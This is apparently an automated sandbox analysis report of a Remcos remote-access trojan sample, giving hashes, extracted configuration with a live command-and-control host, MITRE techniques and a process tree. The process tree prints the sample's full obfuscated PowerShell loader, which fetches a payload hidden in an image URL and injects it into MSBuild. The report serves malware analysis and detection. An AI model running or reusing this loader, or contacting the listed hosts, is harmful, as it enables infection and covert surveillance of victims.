remcos | a2e71163d56c1feb4714e20d8b559bcf005e10b9044d9565afa0e257b0eb4d62

General

Target

a2e71163d56c1feb4714e20d8b559bcf005e10b9044d9565afa0e257b0eb4d62.wsf
Size

3KB
MD5

c209a2bdfa9028df5da14abdc1fc58ce
SHA1

17b2e2192cccdde3bc51197285ccdc5a0dc80587
SHA256

a2e71163d56c1feb4714e20d8b559bcf005e10b9044d9565afa0e257b0eb4d62
SHA512

0d7a39070b32d140bfcf01f125eea94d9016d0e641e461d1d2a8d0b42d5d0cc8388fccc1c08272ed09bde710cbd4154b281e638b9f608e7e0b344d6aa3bd54c9

Score

10^/10

remcos 4 discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

4

C2

lewisham1122.ddnsking.com:6426

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-L31JDJ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	4272	WScript.exe
7	4272	WScript.exe
19	408	powershell.exe
24	408	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
408	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 408 set thread context of 3852	408	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
408	powershell.exe
408	powershell.exe
408	powershell.exe
408	powershell.exe
408	powershell.exe
408	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	408	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3852	MSBuild.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4272 wrote to memory of 408	4272	WScript.exe	83
PID 4272 wrote to memory of 408	4272	WScript.exe	83
PID 408 wrote to memory of 3952	408	powershell.exe	90
PID 408 wrote to memory of 3952	408	powershell.exe	90
PID 408 wrote to memory of 3952	408	powershell.exe	90
PID 408 wrote to memory of 3968	408	powershell.exe	92
PID 408 wrote to memory of 3968	408	powershell.exe	92
PID 408 wrote to memory of 3968	408	powershell.exe	92
PID 408 wrote to memory of 3852	408	powershell.exe	93
PID 408 wrote to memory of 3852	408	powershell.exe	93
PID 408 wrote to memory of 3852	408	powershell.exe	93
PID 408 wrote to memory of 3852	408	powershell.exe	93
PID 408 wrote to memory of 3852	408	powershell.exe	93
PID 408 wrote to memory of 3852	408	powershell.exe	93
PID 408 wrote to memory of 3852	408	powershell.exe	93
PID 408 wrote to memory of 3852	408	powershell.exe	93
PID 408 wrote to memory of 3852	408	powershell.exe	93
PID 408 wrote to memory of 3852	408	powershell.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a2e71163d56c1feb4714e20d8b559bcf005e10b9044d9565afa0e257b0eb4d62.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $maremma = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JG5lbmhvID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGFsdm9yb3RhciA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JGNob3N0cmEgPSAkYWx2b3JvdGFyLkRvd25sb2FkRGF0YSgkbmVuaG8pOyRwZXJpZ29zYW1lbnRlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNob3N0cmEpOyRtZXhlcm90byA9ICc8PEJBU0U2NF9TVEFSVD4+JzskbHVwYW50ZSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGVuY2FyZGlyID0gJHBlcmlnb3NhbWVudGUuSW5kZXhPZigkbWV4ZXJvdG8pOyRuaXN0byA9ICRwZXJpZ29zYW1lbnRlLkluZGV4T2YoJGx1cGFudGUpOyRlbmNhcmRpciAtZ2UgMCAtYW5kICRuaXN0byAtZ3QgJGVuY2FyZGlyOyRlbmNhcmRpciArPSAkbWV4ZXJvdG8uTGVuZ3RoOyRjdW5ldGEgPSAkbmlzdG8gLSAkZW5jYXJkaXI7JGF1bGljaXNtbyA9ICRwZXJpZ29zYW1lbnRlLlN1YnN0cmluZygkZW5jYXJkaXIsICRjdW5ldGEpOyRkZWJpbGl0YW1lbnRvID0gLWpvaW4gKCRhdWxpY2lzbW8uVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGF1bGljaXNtby5MZW5ndGgpXTskZWxlbWllaXJhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGViaWxpdGFtZW50byk7JGxldmFkb3VyYSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGVsZW1pZWlyYSk7JGVzY290YSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRlc2NvdGEuSW52b2tlKCRudWxsLCBAKCcwL2ZoY3dvL3IvZWUuZXRzYXAvLzpzcHR0aCcsICdiaWNoYW5jcm9zJywgJ2JpY2hhbmNyb3MnLCAnYmljaGFuY3JvcycsICdNU0J1aWxkJywgJ2JpY2hhbmNyb3MnLCAnYmljaGFuY3JvcycsJ2JpY2hhbmNyb3MnLCdiaWNoYW5jcm9zJywnYmljaGFuY3JvcycsJ2JpY2hhbmNyb3MnLCdiaWNoYW5jcm9zJywnMScsJ2JpY2hhbmNyb3MnKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$escumar = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($maremma));Invoke-Expression $escumar
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:408
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:3952
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:3968
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:3852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
fa536ded7af9a3131609de6af660b3be

SHA1
5ab83e2ed1ccc65f5f7b06f355ccffa36137efe8

SHA256
bb4aa056d74892f09be93c5c0d64bca178c937f45dd64d76b2fe997ad55bc5bb

SHA512
42398fc719abb18e68728c7f6eda8eff8de74dd79ef086af3ee0799e97969f470fd3218905b59a1ddfa21f2d8c251ff75f881c766af1226f5f36f45d73fd9e7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5nejhjbz.qyc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/408-16-0x0000027BB3620000-0x0000027BB3778000-memory.dmp

Filesize
1.3MB

Download
memory/408-23-0x00007FFAD9410000-0x00007FFAD9ED1000-memory.dmp

Filesize
10.8MB

Download
memory/408-12-0x00007FFAD9410000-0x00007FFAD9ED1000-memory.dmp

Filesize
10.8MB

Download
memory/408-13-0x00007FFAD9410000-0x00007FFAD9ED1000-memory.dmp

Filesize
10.8MB

Download
memory/408-14-0x00007FFAD9413000-0x00007FFAD9415000-memory.dmp

Filesize
8KB

Download
memory/408-15-0x00007FFAD9410000-0x00007FFAD9ED1000-memory.dmp

Filesize
10.8MB

Download
memory/408-0-0x00007FFAD9413000-0x00007FFAD9415000-memory.dmp

Filesize
8KB

Download
memory/408-1-0x0000027BA3060000-0x0000027BA3082000-memory.dmp

Filesize
136KB

Download
memory/408-17-0x00007FFAD9410000-0x00007FFAD9ED1000-memory.dmp

Filesize
10.8MB

Download
memory/408-11-0x00007FFAD9410000-0x00007FFAD9ED1000-memory.dmp

Filesize
10.8MB

Download
memory/3852-22-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3852-27-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3852-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3852-24-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3852-21-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3852-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3852-18-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads